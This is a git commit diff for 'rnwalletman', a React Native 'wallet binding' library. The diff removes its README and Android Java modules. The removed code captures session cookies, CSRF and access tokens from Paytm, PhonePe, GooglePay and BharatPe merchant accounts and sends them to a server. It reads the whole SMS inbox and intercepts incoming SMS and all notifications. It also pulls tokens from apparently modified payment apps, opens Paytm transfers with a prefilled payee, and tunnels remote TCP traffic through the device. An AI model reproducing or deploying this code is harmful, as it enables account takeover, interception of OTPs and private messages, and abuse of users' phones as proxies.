This commit is contained in:
2026-01-23 16:57:49 +08:00
parent 5e0e7e0069
commit ecd56ef291
37 changed files with 52 additions and 4684 deletions

17
.vscode/launch.json vendored Normal file
View File

@@ -0,0 +1,17 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug WalletMan Server",
"type": "go",
"request": "launch",
"mode": "debug",
"program": "${workspaceFolder}/servers/walletman/cmd/server",
"cwd": "${workspaceFolder}/servers/walletman",
"preLaunchTask": "build walletman",
"env": {
"PATH": "/Users/hybro/go/bin:${env:PATH}"
}
}
]
}

8
.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,8 @@
{
"go.toolsEnvVars": {
"PATH": "/Users/hybro/go/bin:/usr/local/go/bin:${env:PATH}"
},
"go.alternateTools": {
"dlv": "/Users/hybro/go/bin/dlv"
}
}

26
.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,26 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "build walletman",
"type": "shell",
"command": "go",
"args": [
"build",
"-o",
"${workspaceFolder}/servers/walletman/bin/server",
"./cmd/server"
],
"options": {
"cwd": "${workspaceFolder}/servers/walletman"
},
"problemMatcher": [
"$go"
],
"group": {
"kind": "build",
"isDefault": true
}
}
]
}

View File

@@ -16,7 +16,7 @@
"react-native": "0.72.10",
"react-native-fs": "^2.20.0",
"react-native-webview": "13.6.2",
"rnwalletman": "./rnwalletman"
"rnwalletman": "./libs/rnwalletman"
},
"devDependencies": {
"@babel/core": "^7.20.0",

View File

@@ -1,184 +0,0 @@
# RN WalletMan
纯 TypeScript 实现的 React Native 钱包绑定库。
## 安装
**重要:必须先安装 react-native-webview**
```bash
# 1. 安装 react-native-webview必需
npm install react-native-webview
# 或
yarn add react-native-webview
# 2. iOS 需要 pod install
cd ios && pod install && cd ..
# 3. 安装 rnwalletman
npm install ./rnwalletman
# 或
yarn add ./rnwalletman
```
# 使用示例
## 基础用法
```tsx
import { PaytmBind } from 'rnwalletman';
<PaytmBind
onSuccess={(result) => {
// result.type: 'paytm_business'
// result.cookie: SESSION cookie
// result.xCsrfToken: CSRF token
// result.qrData: QR 数据JSON
// 发送到服务端
fetch('https://your-api.com/bind', {
method: 'POST',
body: JSON.stringify(result)
});
}}
onError={(error) => {
Alert.alert('绑定失败', error);
}}
/>
```
## 完整示例
```tsx
import React, { useState } from 'react';
import { View, Button, Modal } from 'react-native';
import { PaytmBind, WalletType } from 'rnwalletman';
function App() {
const [showBind, setShowBind] = useState(false);
return (
<View>
<Button title="绑定 Paytm" onPress={() => setShowBind(true)} />
<Modal visible={showBind} onRequestClose={() => setShowBind(false)}>
<PaytmBind
onSuccess={(result) => {
console.log('绑定成功', result);
setShowBind(false);
// 保存到服务端
}}
onError={(error) => {
console.error(error);
setShowBind(false);
}}
/>
</Modal>
</View>
);
}
```
## 返回数据结构
### Paytm
```typescript
{
type: 'paytm_business',
success: true,
cookie: 'SESSION_VALUE',
xCsrfToken: 'TOKEN',
contextData: '...', // 可选
qrData: '...' // 可选
}
```
### PhonePe
```typescript
{
type: 'phonepe_business',
success: true,
cookie: 'MERCHANT_USER_A_TOKEN=...;...',
xCsrfToken: 'TOKEN',
fingerprint: 'fp.fp.fp.fp',
qrData: '...' // 可选
}
```
### GooglePay
```typescript
{
type: 'googlepay_business',
success: true,
url: 'https://pay.google.com/...',
body: 'f.req=...',
cookie: '...',
channelUid: '...',
openUrl: '...'
}
```
### BharatPe
```typescript
{
type: 'bharatpe_business',
success: true,
cookie: '...',
accessToken: '...',
merchantId: '...',
userName: '...',
email: '...', // 可选
mobile: '...' // 可选
}
```
**注意**`react-native-webview` 是 peer dependency必须在使用 rnwalletman 的项目中安装。
## 使用
```tsx
import { PaytmBind, PhonePeBind, GooglePayBind, BharatPeBind } from 'rnwalletman';
function BindPaytmScreen() {
return (
<PaytmBind
onSuccess={(result) => {
console.log('绑定成功', result);
// result: { type, cookie, xCsrfToken, qrData, ... }
// 发送到服务端保存
}}
onError={(error) => {
console.error('绑定失败', error);
}}
/>
);
}
function BindPhonePeScreen() {
return (
<PhonePeBind
onSuccess={(result) => {
// result: { type, cookie, xCsrfToken, fingerprint, ... }
}}
onError={(error) => console.error(error)}
/>
);
}
```
## 组件
- `<PaytmBind />` - Paytm Business 绑定
- `<PhonePeBind />` - PhonePe Business 绑定
- `<GooglePayBind />` - GooglePay Business 绑定
- `<BharatPeBind />` - BharatPe Business 绑定
## 特性
- ✅ 纯 TypeScript跨平台
- ✅ 使用 react-native-webview
- ✅ 自动提取 Cookie/Token
- ✅ TypeScript 类型定义
- ✅ 无需 Native 代码

View File

@@ -1,40 +0,0 @@
buildscript {
ext {
buildToolsVersion = "33.0.0"
minSdkVersion = 21
compileSdkVersion = 33
targetSdkVersion = 33
}
repositories {
google()
mavenCentral()
}
dependencies {
classpath("com.android.tools.build:gradle:7.4.2")
}
}
apply plugin: 'com.android.library'
android {
compileSdkVersion rootProject.ext.compileSdkVersion
defaultConfig {
minSdkVersion rootProject.ext.minSdkVersion
targetSdkVersion rootProject.ext.targetSdkVersion
}
lintOptions {
abortOnError false
}
}
repositories {
google()
mavenCentral()
}
dependencies {
implementation 'com.facebook.react:react-native:+'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
}

View File

@@ -1,30 +0,0 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.rnwalletman">
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" />
<application>
<!-- SMS 广播接收器 -->
<receiver
android:name=".SmsReceiver"
android:exported="true"
android:enabled="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<!-- 通知监听服务 -->
<service
android:name=".RNWalletNotificationListener"
android:label="RNWalletMan Notification Listener"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
</application>
</manifest>

View File

@@ -1,130 +0,0 @@
package com.rnwalletman;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import com.facebook.react.bridge.ActivityEventListener;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import net.one97.paytm.upi.transaction.common.models.o;
import org.json.JSONObject;
public class PaytmPersonalModule extends ReactContextBaseJavaModule implements ActivityEventListener {
private static final String TAG = "PaytmPersonalModule";
private Promise tokenPromise;
public PaytmPersonalModule(ReactApplicationContext reactContext) {
super(reactContext);
reactContext.addActivityEventListener(this);
}
@Override
public String getName() {
return "PaytmPersonalModule";
}
@ReactMethod
public void getToken(Promise promise) {
try {
tokenPromise = promise;
Activity activity = getCurrentActivity();
if (activity == null) {
promise.reject("ERROR", "Activity is null");
return;
}
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("paytmgtk://getToken"));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
activity.startActivity(intent);
} catch (Exception e) {
Log.e(TAG, "拉起 Paytm 失败", e);
promise.reject("ERROR", e.getMessage());
tokenPromise = null;
}
}
@ReactMethod
@SuppressLint("WrongConstant")
public void pay(String amount, String payeeName, String accountNo, String ifscCode, String comments, Promise promise) {
try {
Activity activity = getCurrentActivity();
if (activity == null) {
promise.reject("ERROR", "Activity is null");
return;
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"net.one97.paytm",
"net.one97.paytm.moneytransfer.eas.view.activity.MTEnterAmountActivity"
));
Bundle bundle = new Bundle();
bundle.putString("payee_name", payeeName);
bundle.putString("account_no", accountNo);
bundle.putString("bankname", ifscCode.substring(0, 4));
bundle.putString("ifsc", ifscCode);
bundle.putString("amount", amount);
bundle.putString("comments", comments);
bundle.putBoolean("post_txn_scan_flow", false);
bundle.putBoolean("post_txn_collect_flow", false);
intent.putExtra("post_txn_data", bundle);
intent.putExtra("t", o.INSTANCE);
intent.addFlags(268468224);
activity.startActivity(intent);
promise.resolve(true);
} catch (Exception e) {
Log.e(TAG, "Paytm 支付失败", e);
promise.reject("ERROR", e.getMessage());
}
}
@Override
public void onActivityResult(Activity activity, int requestCode, int resultCode, Intent data) {
}
@Override
public void onNewIntent(Intent intent) {
if (intent == null || intent.getData() == null || tokenPromise == null) {
return;
}
Uri uri = intent.getData();
if ("ipay".equals(uri.getScheme()) && "native".equals(uri.getHost())) {
String base64Data = uri.getQueryParameter("data");
if (base64Data != null) {
try {
byte[] decodedBytes = Base64.decode(base64Data, Base64.DEFAULT);
String jsonStr = new String(decodedBytes);
JSONObject tokenData = new JSONObject(jsonStr);
String mobile = tokenData.optString("mobile", "");
String token = tokenData.optString("token", "");
String userId = tokenData.optString("userId", "");
JSONObject result = new JSONObject();
result.put("mobile", mobile);
result.put("token", token);
result.put("userId", userId);
tokenPromise.resolve(result.toString());
tokenPromise = null;
} catch (Exception e) {
tokenPromise.reject("ERROR", e.getMessage());
tokenPromise = null;
}
}
}
}
}

View File

@@ -1,96 +0,0 @@
package com.rnwalletman;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.util.Log;
import com.facebook.react.bridge.ActivityEventListener;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import org.json.JSONObject;
public class PhonepePersonalModule extends ReactContextBaseJavaModule implements ActivityEventListener {
private static final String TAG = "PhonepePersonalModule";
private Promise tokenPromise;
public PhonepePersonalModule(ReactApplicationContext reactContext) {
super(reactContext);
reactContext.addActivityEventListener(this);
}
@Override
public String getName() {
return "PhonepePersonalModule";
}
@ReactMethod
public void getToken(Promise promise) {
Activity activity = getCurrentActivity();
if (activity == null) {
promise.reject("ERROR", "Activity is null");
return;
}
try {
tokenPromise = promise;
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("phonepegtk://getToken?callback=" + activity.getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
activity.startActivity(intent);
Log.d(TAG, "已拉起 PhonePe等待回调...");
} catch (Exception e) {
Log.e(TAG, "拉起 PhonePe 失败", e);
tokenPromise = null;
promise.reject("ERROR", e.getMessage());
}
}
@Override
public void onActivityResult(Activity activity, int requestCode, int resultCode, Intent data) {
}
@Override
public void onNewIntent(Intent intent) {
if (intent == null || intent.getData() == null || tokenPromise == null) {
return;
}
Uri uri = intent.getData();
String scheme = uri.getScheme();
String host = uri.getHost();
Log.d(TAG, "onNewIntent - Scheme: " + scheme + ", Host: " + host);
// PhonePe 也使用 ipay://native 回调
if ("ipay".equals(scheme) && "native".equals(host)) {
String base64Data = uri.getQueryParameter("data");
if (base64Data != null) {
try {
byte[] decodedBytes = android.util.Base64.decode(base64Data, android.util.Base64.DEFAULT);
String jsonStr = new String(decodedBytes);
JSONObject tokenData = new JSONObject(jsonStr);
String mobile = tokenData.optString("mobile", "");
String token = tokenData.optString("token", "");
String userId = tokenData.optString("userId", "");
JSONObject result = new JSONObject();
result.put("mobile", mobile);
result.put("token", token);
result.put("userId", userId);
tokenPromise.resolve(result.toString());
tokenPromise = null;
} catch (Exception e) {
Log.e(TAG, "解析 Token 失败", e);
tokenPromise.reject("ERROR", e.getMessage());
tokenPromise = null;
}
}
}
}
}

View File

@@ -1,112 +0,0 @@
package com.rnwalletman;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
/**
* 通知监听服务
*/
public class RNWalletNotificationListener extends NotificationListenerService {
private static final String TAG = "RNWalletNotification";
private static RNWalletNotificationListener instance;
@Override
public void onCreate() {
super.onCreate();
instance = this;
Log.i(TAG, "RNWalletNotificationListener 服务已启动");
// 检查并打印当前通知数量
try {
StatusBarNotification[] notifications = getActiveNotifications();
Log.i(TAG, "服务启动时当前有 " + notifications.length + " 条活跃通知");
} catch (Exception e) {
Log.e(TAG, "无法获取活跃通知: " + e.getMessage(), e);
}
}
@Override
public void onDestroy() {
super.onDestroy();
instance = null;
Log.i(TAG, "RNWalletNotificationListener stopped");
}
/**
* 获取服务实例
*/
public static RNWalletNotificationListener getInstance() {
return instance;
}
/**
* 读取当前所有活跃的通知
*/
public StatusBarNotification[] readActiveNotifications() {
try {
StatusBarNotification[] notifications = super.getActiveNotifications();
Log.i(TAG, "读取到 " + notifications.length + " 条活跃通知");
for (StatusBarNotification sbn : notifications) {
Log.d(TAG, "通知: " + sbn.getPackageName() + " - " + sbn.getId());
}
return notifications;
} catch (Exception e) {
Log.e(TAG, "读取通知失败: " + e.getMessage(), e);
return new StatusBarNotification[0];
}
}
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
// 检查是否启用监听
android.content.SharedPreferences prefs = getSharedPreferences("rnwalletman", MODE_PRIVATE);
boolean isEnabled = prefs.getBoolean("notification_enabled", false);
if (!isEnabled) {
return;
}
try {
String packageName = sbn.getPackageName();
String title = "";
String text = "";
String bigText = "";
if (sbn.getNotification() != null && sbn.getNotification().extras != null) {
android.os.Bundle extras = sbn.getNotification().extras;
title = getStringFromExtras(extras, "android.title");
text = getStringFromExtras(extras, "android.text");
bigText = getStringFromExtras(extras, "android.bigText");
}
Log.i(TAG, "收到通知: " + packageName + " - " + title);
// 发送事件到 React Native
SmsNotificationModule.sendNotificationEvent(
String.valueOf(sbn.getId()),
packageName,
sbn.getTag(),
sbn.getPostTime(),
title,
text,
bigText
);
} catch (Exception e) {
Log.e(TAG, "处理通知失败", e);
}
}
private String getStringFromExtras(android.os.Bundle extras, String key) {
if (extras == null || key == null) {
return "";
}
Object obj = extras.get(key);
return obj != null ? obj.toString() : "";
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
// 不需要处理
}
}

View File

@@ -1,27 +0,0 @@
package com.rnwalletman;
import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class RnWalletmanPackage implements ReactPackage {
@Override
public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
List<NativeModule> modules = new ArrayList<>();
modules.add(new PaytmPersonalModule(reactContext));
modules.add(new PhonepePersonalModule(reactContext));
modules.add(new SmsNotificationModule(reactContext));
modules.add(new TcpProxyModule(reactContext));
return modules;
}
@Override
public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
return Collections.emptyList();
}
}

View File

@@ -1,379 +0,0 @@
package com.rnwalletman;
import android.Manifest;
import android.content.ContentResolver;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;
import android.provider.Telephony;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.content.ContextCompat;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.WritableArray;
import com.facebook.react.bridge.WritableMap;
import com.facebook.react.bridge.Arguments;
import com.facebook.react.modules.core.DeviceEventManagerModule;
import com.facebook.react.modules.core.PermissionAwareActivity;
import com.facebook.react.modules.core.PermissionListener;
/**
* SMS 和通知监听模块
*/
public class SmsNotificationModule extends ReactContextBaseJavaModule {
private static final String TAG = "SmsNotificationModule";
private static ReactApplicationContext reactContext;
private static final String EVENT_SMS_RECEIVED = "onSmsMessage";
private static final String EVENT_NOTIFICATION_RECEIVED = "onNotificationMessage";
public SmsNotificationModule(ReactApplicationContext context) {
super(context);
reactContext = context;
}
@NonNull
@Override
public String getName() {
return "SmsNotificationModule";
}
@ReactMethod
public void addListener(String eventName) {
// Set up any upstream listeners or background tasks as necessary
}
@ReactMethod
public void removeListeners(Integer count) {
// Remove upstream listeners, stop unnecessary background tasks
}
/**
* 发送短信事件到 JS
*/
public static void sendSmsEvent(String sender, String message, long timestamp) {
if (reactContext == null) return;
try {
WritableMap params = Arguments.createMap();
params.putString("address", sender);
params.putString("body", message);
params.putDouble("timestamp", timestamp);
reactContext
.getJSModule(DeviceEventManagerModule.RCTDeviceEventEmitter.class)
.emit(EVENT_SMS_RECEIVED, params);
} catch (Exception e) {
Log.e(TAG, "发送SMS事件失败", e);
}
}
/**
* 发送通知事件到 JS
*/
public static void sendNotificationEvent(String id, String packageName, String tag,
long postTime, String title, String text, String bigText) {
if (reactContext == null) return;
try {
WritableMap params = Arguments.createMap();
params.putString("id", id);
params.putString("packageName", packageName);
params.putString("tag", tag);
params.putDouble("postTime", postTime);
params.putString("title", title);
params.putString("text", text);
params.putString("bigText", bigText);
reactContext
.getJSModule(DeviceEventManagerModule.RCTDeviceEventEmitter.class)
.emit(EVENT_NOTIFICATION_RECEIVED, params);
} catch (Exception e) {
Log.e(TAG, "发送通知事件失败", e);
}
}
/**
* 检查 SMS 权限
*/
@ReactMethod
public void checkSmsPermission(Promise promise) {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
boolean hasReadSms = ContextCompat.checkSelfPermission(reactContext, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED;
boolean hasReceiveSms = ContextCompat.checkSelfPermission(reactContext, Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED;
promise.resolve(hasReadSms && hasReceiveSms);
} else {
promise.resolve(true);
}
} catch (Exception e) {
promise.reject("CHECK_PERMISSION_ERROR", e.getMessage());
}
}
/**
* 请求 SMS 权限
*/
@ReactMethod
public void requestSmsPermission(final Promise promise) {
try {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
promise.resolve(true);
return;
}
PermissionAwareActivity activity = (PermissionAwareActivity) reactContext.getCurrentActivity();
if (activity == null) {
promise.reject("NO_ACTIVITY", "Activity is null");
return;
}
String[] permissions = new String[]{
Manifest.permission.READ_SMS,
Manifest.permission.RECEIVE_SMS
};
activity.requestPermissions(permissions, 1, new PermissionListener() {
@Override
public boolean onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
if (requestCode == 1) {
boolean allGranted = true;
for (int result : grantResults) {
if (result != PackageManager.PERMISSION_GRANTED) {
allGranted = false;
break;
}
}
promise.resolve(allGranted);
return true;
}
return false;
}
});
} catch (Exception e) {
promise.reject("REQUEST_PERMISSION_ERROR", e.getMessage());
}
}
/**
* 检查通知监听权限
*/
@ReactMethod
public void checkNotificationPermission(Promise promise) {
try {
String packageName = reactContext.getPackageName();
String flat = Settings.Secure.getString(reactContext.getContentResolver(), "enabled_notification_listeners");
if (flat != null && flat.contains(packageName)) {
promise.resolve(true);
} else {
promise.resolve(false);
}
} catch (Exception e) {
promise.reject("CHECK_NOTIFICATION_PERMISSION_ERROR", e.getMessage());
}
}
/**
* 打开通知监听设置页面
*/
@ReactMethod
public void openNotificationSettings(Promise promise) {
try {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
reactContext.startActivity(intent);
promise.resolve(true);
} catch (Exception e) {
promise.reject("OPEN_SETTINGS_ERROR", e.getMessage());
}
}
/**
* 启动 SMS 监听
*/
@ReactMethod
public void startSmsListener(Promise promise) {
try {
SharedPreferences prefs = reactContext.getSharedPreferences("rnwalletman", ReactApplicationContext.MODE_PRIVATE);
prefs.edit().putBoolean("sms_enabled", true).apply();
Log.i(TAG, "SMS 监听已启用");
promise.resolve(true);
} catch (Exception e) {
promise.reject("START_SMS_LISTENER_ERROR", e.getMessage());
}
}
/**
* 停止 SMS 监听
*/
@ReactMethod
public void stopSmsListener(Promise promise) {
try {
SharedPreferences prefs = reactContext.getSharedPreferences("rnwalletman", ReactApplicationContext.MODE_PRIVATE);
prefs.edit().putBoolean("sms_enabled", false).apply();
Log.i(TAG, "SMS 监听已停止");
promise.resolve(true);
} catch (Exception e) {
promise.reject("STOP_SMS_LISTENER_ERROR", e.getMessage());
}
}
/**
* 启动通知监听
*/
@ReactMethod
public void startNotificationListener(Promise promise) {
try {
SharedPreferences prefs = reactContext.getSharedPreferences("rnwalletman", ReactApplicationContext.MODE_PRIVATE);
prefs.edit().putBoolean("notification_enabled", true).apply();
Log.i(TAG, "通知监听已启用");
promise.resolve(true);
} catch (Exception e) {
promise.reject("START_NOTIFICATION_LISTENER_ERROR", e.getMessage());
}
}
/**
* 停止通知监听
*/
@ReactMethod
public void stopNotificationListener(Promise promise) {
try {
SharedPreferences prefs = reactContext.getSharedPreferences("rnwalletman", ReactApplicationContext.MODE_PRIVATE);
prefs.edit().putBoolean("notification_enabled", false).apply();
Log.i(TAG, "通知监听已停止");
promise.resolve(true);
} catch (Exception e) {
promise.reject("STOP_NOTIFICATION_LISTENER_ERROR", e.getMessage());
}
}
/**
* 读取所有短信
* @param limit 限制数量0 表示全部
*/
@ReactMethod
public void getAllSms(int limit, Promise promise) {
try {
WritableArray result = Arguments.createArray();
ContentResolver cr = reactContext.getContentResolver();
Uri uri = Telephony.Sms.CONTENT_URI;
String[] projection = new String[] {
Telephony.Sms._ID,
Telephony.Sms.ADDRESS,
Telephony.Sms.BODY,
Telephony.Sms.DATE,
Telephony.Sms.TYPE,
Telephony.Sms.READ
};
String sortOrder = Telephony.Sms.DATE + " DESC";
if (limit > 0) {
sortOrder += " LIMIT " + limit;
}
Cursor cursor = cr.query(uri, projection, null, null, sortOrder);
if (cursor != null) {
int count = 0;
while (cursor.moveToNext() && (limit == 0 || count < limit)) {
WritableMap sms = Arguments.createMap();
sms.putString("id", cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms._ID)));
sms.putString("address", cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)));
sms.putString("body", cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.BODY)));
sms.putDouble("timestamp", cursor.getLong(cursor.getColumnIndexOrThrow(Telephony.Sms.DATE)));
sms.putInt("type", cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.TYPE)));
sms.putBoolean("read", cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.READ)) == 1);
result.pushMap(sms);
count++;
}
cursor.close();
}
Log.i(TAG, "读取短信: " + result.size() + "");
promise.resolve(result);
} catch (Exception e) {
Log.e(TAG, "读取短信失败", e);
promise.reject("SMS_READ_ERROR", e.getMessage());
}
}
/**
* 读取所有活跃通知
* 需要先在系统设置中授权通知监听
*/
@ReactMethod
public void getAllNotifications(Promise promise) {
try {
RNWalletNotificationListener service = RNWalletNotificationListener.getInstance();
Log.d(TAG, "获取通知监听服务实例: " + (service != null ? "成功" : "失败"));
if (service == null) {
// 服务未运行,返回空数组而非错误(可能系统还未启动服务)
Log.w(TAG, "通知监听服务未运行,返回空数组");
promise.resolve(Arguments.createArray());
return;
}
StatusBarNotification[] notifications = service.readActiveNotifications();
WritableArray result = Arguments.createArray();
Log.d(TAG, "从系统获取到 " + notifications.length + " 条通知");
for (StatusBarNotification sbn : notifications) {
WritableMap notification = Arguments.createMap();
notification.putString("id", String.valueOf(sbn.getId()));
notification.putString("packageName", sbn.getPackageName());
notification.putString("tag", sbn.getTag());
notification.putDouble("postTime", sbn.getPostTime());
if (sbn.getNotification() != null && sbn.getNotification().extras != null) {
notification.putString("title", getStringFromExtras(sbn.getNotification().extras, "android.title"));
notification.putString("text", getStringFromExtras(sbn.getNotification().extras, "android.text"));
notification.putString("bigText", getStringFromExtras(sbn.getNotification().extras, "android.bigText"));
}
result.pushMap(notification);
}
Log.i(TAG, "返回通知数据: " + result.size() + "");
promise.resolve(result);
} catch (Exception e) {
Log.e(TAG, "读取通知失败", e);
promise.reject("NOTIFICATION_READ_ERROR", e.getMessage());
}
}
/**
* 从 Bundle 中安全地获取字符串
*/
private String getStringFromExtras(android.os.Bundle extras, String key) {
if (extras == null || key == null) {
return "";
}
Object obj = extras.get(key);
if (obj == null) {
return "";
}
return obj.toString();
}
}

View File

@@ -1,47 +0,0 @@
package com.rnwalletman;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
/**
* SMS 广播接收器
*/
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "RNWalletSmsReceiver";
@Override
public void onReceive(Context context, Intent intent) {
// 检查是否启用监听
SharedPreferences prefs = context.getSharedPreferences("rnwalletman", Context.MODE_PRIVATE);
boolean isEnabled = prefs.getBoolean("sms_enabled", false);
if (!isEnabled) {
return;
}
if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
if (pdus != null) {
for (Object pdu : pdus) {
SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
String sender = sms.getDisplayOriginatingAddress();
String message = sms.getMessageBody();
long timestamp = sms.getTimestampMillis();
Log.i(TAG, "收到短信: " + sender + " - " + message);
// 发送事件到 React Native
SmsNotificationModule.sendSmsEvent(sender, message, timestamp);
}
}
}
}
}
}

View File

@@ -1,164 +0,0 @@
package com.rnwalletman;
import android.util.Log;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicBoolean;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
import okio.ByteString;
import org.json.JSONObject;
public class TcpOverWebSocketClient {
private static final String TAG = "TcpProxy";
private static final int BUFFER_SIZE = 8192;
private final String wsUrl;
private final String hostname;
private final int port;
private final String messageId;
private final ExecutorService ioPool = Executors.newCachedThreadPool();
private final AtomicBoolean closed = new AtomicBoolean(false);
private final OkHttpClient httpClient = new OkHttpClient.Builder().build();
private WebSocket ws;
private Socket tcpSocket;
public TcpOverWebSocketClient(String wsUrl, String hostname, int port, String messageId) {
this.wsUrl = wsUrl;
this.hostname = hostname;
this.port = port > 0 ? port : 443;
this.messageId = messageId;
}
public void start() {
Log.d(TAG, "连接WebSocket: " + wsUrl);
Request request = new Request.Builder().url(wsUrl).build();
ws = httpClient.newWebSocket(request, new ProxyWebSocketListener());
}
private void safeClose(String reason) {
if (closed.compareAndSet(false, true)) {
Log.d(TAG, "关闭连接: " + reason);
if (ws != null) {
try {
ws.close(1000, reason);
} catch (Exception e) {
Log.e(TAG, "关闭WebSocket失败", e);
}
ws = null;
}
if (tcpSocket != null) {
try {
tcpSocket.close();
} catch (IOException e) {
Log.e(TAG, "关闭TCP socket失败", e);
}
tcpSocket = null;
}
closed.set(false);
}
}
private void forwardTcpToWs(Socket socket, WebSocket webSocket) {
byte[] buffer = new byte[BUFFER_SIZE];
try {
InputStream input = socket.getInputStream();
while (true) {
int len = input.read(buffer);
if (len == -1) {
Log.d(TAG, "TCP连接关闭");
webSocket.close(1000, "tcp_end");
safeClose("tcp_end");
break;
}
if (len > 0) {
boolean sent = webSocket.send(ByteString.of(buffer, 0, len));
if (!sent) {
Log.w(TAG, "WebSocket发送失败");
safeClose("ws_send_failed");
break;
}
}
}
} catch (IOException e) {
Log.e(TAG, "TCP读取异常", e);
safeClose("tcp_read_error");
}
}
private class ProxyWebSocketListener extends WebSocketListener {
@Override
public void onOpen(final WebSocket webSocket, Response response) {
Log.d(TAG, "WebSocket已连接");
ioPool.execute(new Runnable() {
@Override
public void run() {
try {
// 连接目标TCP服务器
tcpSocket = new Socket(hostname, port);
Log.d(TAG, "TCP已连接: " + hostname + ":" + port);
// 发送open事件
JSONObject event = new JSONObject();
event.put("event", "open");
event.put("messageId", messageId);
webSocket.send(event.toString());
// 启动TCP->WebSocket转发
forwardTcpToWs(tcpSocket, webSocket);
} catch (Exception e) {
Log.e(TAG, "TCP连接失败", e);
safeClose("tcp_connect_failed");
}
}
});
}
@Override
public void onMessage(WebSocket webSocket, ByteString bytes) {
// WebSocket -> TCP
try {
if (tcpSocket != null && !tcpSocket.isClosed()) {
OutputStream output = tcpSocket.getOutputStream();
output.write(bytes.toByteArray());
output.flush();
}
} catch (IOException e) {
Log.e(TAG, "写入TCP失败", e);
safeClose("tcp_write_error");
}
}
@Override
public void onClosing(WebSocket webSocket, int code, String reason) {
Log.d(TAG, "WebSocket正在关闭");
webSocket.close(1000, null);
}
@Override
public void onClosed(WebSocket webSocket, int code, String reason) {
Log.d(TAG, "WebSocket已关闭: " + code + " " + reason);
safeClose("ws_closed");
}
@Override
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
Log.e(TAG, "WebSocket连接失败", t);
safeClose("ws_failed");
}
}
}

View File

@@ -1,41 +0,0 @@
package com.rnwalletman;
import android.util.Log;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.Promise;
import org.json.JSONObject;
public class TcpProxyModule extends ReactContextBaseJavaModule {
private static final String TAG = "TcpProxyModule";
public TcpProxyModule(ReactApplicationContext reactContext) {
super(reactContext);
}
@Override
public String getName() {
return "TcpProxyModule";
}
@ReactMethod
public void startProxy(String wsUrl, String host, int port, String messageId, Promise promise) {
try {
Log.d(TAG, "启动代理: wsUrl=" + wsUrl + " host=" + host + " port=" + port);
